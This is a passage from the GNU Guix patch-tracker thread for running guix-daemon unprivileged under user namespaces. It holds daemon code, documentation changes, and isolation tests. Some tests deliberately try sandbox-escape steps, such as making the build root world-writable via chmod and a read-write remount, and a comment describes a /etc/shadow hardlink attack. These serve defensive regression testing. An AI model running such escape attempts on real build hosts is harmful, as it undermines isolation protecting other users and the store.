+                    (mkdir #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "build root cannot be made world-readable"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-make-root-world-readable"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (catch 'system-error
+                    (lambda ()
+                      (chmod "/" #o777))
+                    (lambda args
+                      (format #t "failed to make root writable: ~a~%"
+                              (strerror (system-error-errno args)))
+                      (format #t "attempting read-write remount~%")
+                      (mount "none" "/" "/" (logior MS_BIND MS_REMOUNT))
+                      (chmod "/" #o777)))
+
+                  ;; At this point, the build process could create a
+                  ;; world-readable setuid binary under its root (so in the
+                  ;; store) that would remain visible until the build
+                  ;; completes.
+                  (mkdir #$output)))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "/tmp, store, and /dev/{null,full} are writable"
+  ;; All of /tmp and all of the store must be writable (the store is writable
+  ;; so that derivation outputs can be written to it, but in practice it's
+  ;; always been wide open).  Things like /dev/null must be writable too.
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-tmp-and-store-are-writable"
+                #~(begin
+                    (mkdir "/tmp/something")
+                    (mkdir (in-vicinity (getenv "NIX_STORE")
+                                        "some-other-thing"))
+                    (call-with-output-file "/dev/null"
+                      (lambda (port)
+                        (display "Welcome to the void." port)))
+                    (catch 'system-error
+                      (lambda ()
+                        (call-with-output-file "/dev/full"
+                          (lambda (port)
+                            (display "No space left!" port)))
+                        (error "Should have thrown!"))
+                      (lambda args
+                        (unless (= ENOSPC (system-error-errno args))
+                          (apply throw args))))
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "network is unreachable"
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-network-unreachable"
+                #~(let ((check-connection-failure
+                         (lambda (address expected-code)
+                           (let ((s (socket AF_INET SOCK_STREAM 0)))
+                             (catch 'system-error
+                               (lambda ()
+                                 (connect s AF_INET (inet-pton AF_INET address) 80))
+                               (lambda args
+                                 (let ((errno (system-error-errno args)))
+                                   (unless (= expected-code errno)
+                                     (error "wrong error code"
+                                            errno (strerror errno))))))))))
+                    (check-connection-failure "127.0.0.1" ECONNREFUSED)
+                    (check-connection-failure "9.9.9.9" ENETUNREACH)
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1519,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:32 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:31 2025
Received: from localhost ([127.0.0.1]:59205 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMxF-0006bn-P3
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:31 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43258)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwE-0006SE-Pr
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:29 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMw9-0001HX-0I; Thu, 20 Mar 2025 16:56:21 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=s48JGBS7+1eAYxbQMZkgTk7NEwh17Swmtw6Ux+K/rLQ=; b=jofrqaIlcnE0qa/Wdx9w
 Pk5rZFUUnlnv7jh759fKfrteiU8+/3PW5taUW4+QmwimtAaDQrWHFuuk5ry8XgCiBnXN8YJG183DT
 WYQx8d9VM4cWKHXRSokrXfECVQJMqHGZBK7B1tGrC9ulSy95CFrLnPiBjWgM5EvzF+J/8hTRQ2oUC
 kpDJRuY0rjn5LVKVp+B4RXU+UmUs0uUaFiY4JDkbRMyP00o8oZLhBA9iQoHOLbbcjcEXvslVPuJj/
 +Oav9uClWkDcPzhZZ6AAt/lAWxzudcxt5eem5JU7B0bpn8D6E8I6SV6AxTQWXSS2gI3HPP3X01qb1
 eNuFW0Kjc76rjQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 10/16] daemon: Move comments where they belong.
Date: Thu, 20 Mar 2025 21:54:43 +0100
Message-ID: <f414a5fe952d94ad1bf12bd683530c1fa293ccdc.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Shuffle
comments for clarity.

Change-Id: I6557c103ade4a3ab046354548ea193c68f8c9c05
---
 nix/libstore/build.cc | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index fa0f293aac..1733322316 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1870,18 +1870,19 @@ void DerivationGoal::startBuilder()
         }
         dirsInChroot[tmpDirInSandbox] = tmpDir;
 
-        /* Make the closure of the inputs available in the chroot,
-           rather than the whole store.  This prevents any access
-           to undeclared dependencies.  !!! As an extra security
-           precaution, make the fake store only writable by the
-           build user. */
+	/* Create the fake store.  */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
         if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
-            throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
+	     /* As an extra security precaution, make the fake store only
+		writable by the build user.  */
+	     throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
+        /* Make the closure of the inputs available in the chroot, rather than
+           the whole store.  This prevents any access to undeclared
+           dependencies. */
         foreach (PathSet::iterator, i, inputPaths) {
 	    struct stat st;
             if (lstat(i->c_str(), &st))
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:30 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:29 2025
Received: from localhost ([127.0.0.1]:59203 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMxE-0006bY-KI
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:29 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43246)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwE-0006S5-AM
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:27 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMw4-0001Gq-Ti; Thu, 20 Mar 2025 16:56:20 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=wZDaJpSBiec4HWURn73Fvz7bhdz1AmvaDkV9vu9Mxas=; b=d5vsrWNB3mXIzROjoTEK
 rnb9lRejIfyOhi/N1PzaOSMsDvnOXIrlAhjgfR2qINZDNvCE6HcsBtgSpK/y/ApscQIdnvsPopugj
 5vz8vbGOUTruf0+uBOLzJ60EJEpqybWdHaJ2b2ygwIXIp0UXM0mgoHQeGxq6PR7UVd9vdw0Yw9KvR
 6nKSZHAk9A9WOUUGam7Je48UMtg51CMEXlGl7eoRb/dgdPdPEBQ86wlnZ9+/Hw8chVdKFvjELaI8O
 ggiIG35/Gxat/ZnLntXkVz8EuzQk/3ej7HWjO0NQ5riQea+b8yWD0skQzrj12DxXLgVszhWBXG2kJ
 UsmPvDlkGdjsIg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 08/16] daemon: Create /var/guix/profiles/per-user
 unconditionally.
Date: Thu, 20 Mar 2025 21:54:41 +0100
Message-ID: <9267d0a9de0def5e4dd30fb3c2e420b116ddb5af.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 83e6c3e16e..f6540c2117 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:29 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:28 2025
Received: from localhost ([127.0.0.1]:59201 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMxA-0006b4-W8
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:28 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43264)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwF-0006SL-0A
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:32 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMw2-0001GU-Fm; Thu, 20 Mar 2025 16:56:14 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=YoCVmhHTeo9VRQVHqR2FhxsLwN9CxAbYohnVIH94Xfs=; b=TIlWowZ6pThFHOND5fDr
 5KQFktNS7xNGAoD1+s0r0FgtPKAta80VXYApAyiqV+O86gzSonKDlZKjUg1vPbki01mbu9EYL79ps
 DFjkKoGHKGCyxKx+cXJ8hEtF3k6m+DGSM1rgCRNmukUlZNzXdaKCq+2pjPhbqqcq0JglFsENoN9YK
 tDbHnHP3aXJID+eJI2wj2QOMArPsfVa1nQRoX0nC8BClohnz8pnVdyfFkA+xxU24Sd7Zv/BH9amiu
 G8Ea3/czjU6KwbM8AXzzCgZtL/p+10C0jfnxiVClL6nuBEzqp2o9aKJ+5PqOTgOqRTqMsig73Joef
 f+mcaiZqStS+FQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 07/16] daemon: Allow running as non-root with unprivileged
 user namespaces.
Date: Thu, 20 Mar 2025 21:54:40 +0100
Message-ID: <bc290bad704192a56391e451ecab7a138fb86778.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Maxim Cournoyer <maxim.cournoyer@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludovic.courtes@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

Many thanks to Reepca Russelstein for their review and guidance on these
changes.

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(DerivationGoal)[readiness]: New field.
(initializeUserNamespace): New function.
(DerivationGoal::runChild): When ‘readiness.readSide’ is positive, read
from it.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.
* doc/guix.texi (Build Environment Setup): Reorganize a bit.  Add
section headings “Daemon Running as Root” and “The Isolated Build
Environment”.  Add “Daemon Running Without Privileges” subsection.
Remove paragraph about ‘--disable-chroot’.
(Invoking guix-daemon): Warn against ‘--disable-chroot’ and explain why.
* tests/derivations.scm ("builder is outside the store"): New test.

Reviewed-by: Reepca Russelstein <reepca@HIDDEN>
---
 doc/guix.texi               | 102 +++++++++++++++-----
 guix/substitutes.scm        |   2 +-
 nix/libstore/build.cc       | 180 +++++++++++++++++++++++++++++++-----
 nix/libstore/local-store.cc |  18 +++-
 tests/derivations.scm       |  10 ++
 5 files changed, 257 insertions(+), 55 deletions(-)

diff --git a/doc/guix.texi b/doc/guix.texi
index fe43ed2504..ab9e21e42e 100644
--- a/doc/guix.texi
+++ b/doc/guix.texi
@@ -877,6 +877,7 @@ Setting Up the Daemon
 @section Setting Up the Daemon
 
 @cindex daemon
+@cindex build daemon
 During installation, the @dfn{build daemon} that must be running
 to use Guix has already been set up and you can run @command{guix}
 commands in your terminal program, @pxref{Getting Started}:
@@ -921,20 +922,38 @@ Build Environment Setup
 @cindex build environment
 In a standard multi-user setup, Guix and its daemon---the
 @command{guix-daemon} program---are installed by the system
-administrator; @file{/gnu/store} is owned by @code{root} and
-@command{guix-daemon} runs as @code{root}.  Unprivileged users may use
-Guix tools to build packages or otherwise access the store, and the
-daemon will do it on their behalf, ensuring that the store is kept in a
-consistent state, and allowing built packages to be shared among users.
+administrator.  Unprivileged users may use Guix tools to build packages
+or otherwise access the store, and the daemon will do it on their
+behalf, ensuring that the store is kept in a consistent state, and
+allowing built packages to be shared among users.
+
+There are currently two ways to set up and run the build daemon:
+
+@enumerate
+@item
+running @command{guix-daemon} as ``root'', letting it run build
+processes as unprivileged users taken from a pool of build users---this
+is the historical approach;
+
+@item
+running @command{guix-daemon} as a separate unprivileged user, relying
+on Linux's @dfn{unprivileged user namespace} functionality to set up
+isolated environments---this is the option chosen when installing Guix
+on a systemd-based distribution with the installation script
+(@pxref{Binary Installation}).
+@end enumerate
+
+The sections below describe each of these two configurations in more
+detail and summarize the kind of build isolation they provide.
+
+@unnumberedsubsubsec Daemon Running as Root
 
 @cindex build users
 When @command{guix-daemon} runs as @code{root}, you may not want package
 build processes themselves to run as @code{root} too, for obvious
 security reasons.  To avoid that, a special pool of @dfn{build users}
 should be created for use by build processes started by the daemon.
-These build users need not have a shell and a home directory: they will
-just be used when the daemon drops @code{root} privileges in build
-processes.  Having several such users allows the daemon to launch
+Having several such users allows the daemon to launch
 distinct build processes under separate UIDs, which guarantees that they
 do not interfere with each other---an essential feature since builds are
 regarded as pure functions (@pxref{Introduction}).
@@ -977,11 +996,45 @@ Build Environment Setup
 # guix-daemon --build-users-group=guixbuild
 @end example
 
+In this setup, @file{/gnu/store} is owned by @code{root}.
+
+@unnumberedsubsubsec Daemon Running Without Privileges
+
+@cindex rootless build daemon
+@cindex unprivileged build daemon
+@cindex build daemon, unprivileged
+The second and preferred option is to run @command{guix-daemon}
+@emph{as an unprivileged user}.  It has the advantage of reducing the
+harm that can be done should a build process manage to exploit a
+vulnerability in the daemon.  This option requires the use of Linux's
+unprivileged user namespace mechanism; today it is available and enabled
+by most GNU/Linux distributions but can still be disabled.  The
+installation script automatically determines whether this option is
+available on your system (@pxref{Binary Installation}).
+
+When using this option, you only need to create one user account, and
+@command{guix-daemon} will run with the authority of that account:
+
+@example
+# groupadd --system guix-daemon
+# useradd -g guix-daemon -G guix-daemon              \
+          -d /var/empty -s $(which nologin)          \
+          -c "Guix daemon privilege separation user" \
+          --system guix-daemon
+@end example
+
+In this configuration, @file{/gnu/store} is owned by the
+@code{guix-daemon} user.
+
+@unnumberedsubsubsec The Isolated Build Environment
+
 @cindex chroot
-@noindent
-This way, the daemon starts build processes in a chroot, under one of
-the @code{guixbuilder} users.  On GNU/Linux, by default, the chroot
-environment contains nothing but:
+@cindex build environment isolation
+@cindex isolated build environment
+@cindex hermetic build environment
+In both cases, the daemon starts build processes without privileges in
+an @emph{isolated} or @emph{hermetic} build environment---a ``chroot''.
+On GNU/Linux, by default, the build environment contains nothing but:
 
 @c Keep this list in sync with libstore/build.cc! -----------------------
 @itemize
@@ -1015,7 +1068,7 @@ Build Environment Setup
 @file{/homeless-shelter}.  This helps to highlight inappropriate uses of
 @env{HOME} in the build scripts of packages.
 
-All this usually enough to ensure details of the environment do not
+All this is usually enough to ensure details of the environment do not
 influence build processes.  In some exceptional cases where more control
 is needed---typically over the date, kernel, or CPU---you can resort to
 a virtual build machine (@pxref{build-vm, virtual build machines}).
@@ -1035,14 +1088,6 @@ Build Environment Setup
 for fixed-output derivations (@pxref{Derivations}) or for substitutes
 (@pxref{Substitutes}).
 
-If you are installing Guix as an unprivileged user, it is still possible
-to run @command{guix-daemon} provided you pass @option{--disable-chroot}.
-However, build processes will not be isolated from one another, and not
-from the rest of the system.  Thus, build processes may interfere with
-each other, and may access programs, libraries, and other files
-available on the system---making it much harder to view them as
-@emph{pure} functions.
-
 
 @node Daemon Offload Setup
 @subsection Using the Offload Facility
@@ -1567,10 +1612,17 @@ Invoking guix-daemon
 @item --disable-chroot
 Disable chroot builds.
 
-Using this option is not recommended since, again, it would allow build
-processes to gain access to undeclared dependencies.  It is necessary,
-though, when @command{guix-daemon} is running under an unprivileged user
-account.
+@quotation Warning
+Using this option is not recommended since it allows build processes to
+gain access to undeclared dependencies, to interfere with one another,
+and more generally to do anything that can be done with the authority of
+build users or that of the daemon---which includes at least the ability
+to tamper with any file in the store!
+
+You may find it necessary, though, when support for Linux unprivileged
+user namespaces is missing (@pxref{Build Environment Setup}).  Use at
+your own risk!
+@end quotation
 
 @item --log-compression=@var{type}
 Compress build logs according to @var{type}, one of @code{gzip},
diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index 7ca55788d5..86b9f5472a 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -79,7 +79,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index c8b778362a..e6cd45aba4 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -744,6 +744,10 @@ private:
 
     friend int childEntry(void *);
 
+    /* Pipe to notify readiness to the child process when using unprivileged
+       user namespaces.  */
+    Pipe readiness;
+
     /* Check that the derivation outputs all exist and register them
        as valid. */
     void registerOutputs();
@@ -1619,6 +1623,24 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child,
+				    uid_t hostUID = getuid(),
+				    gid_t hostGID = getgid())
+{
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1682,7 +1704,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1799,7 +1821,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1818,8 +1840,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1854,7 +1876,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
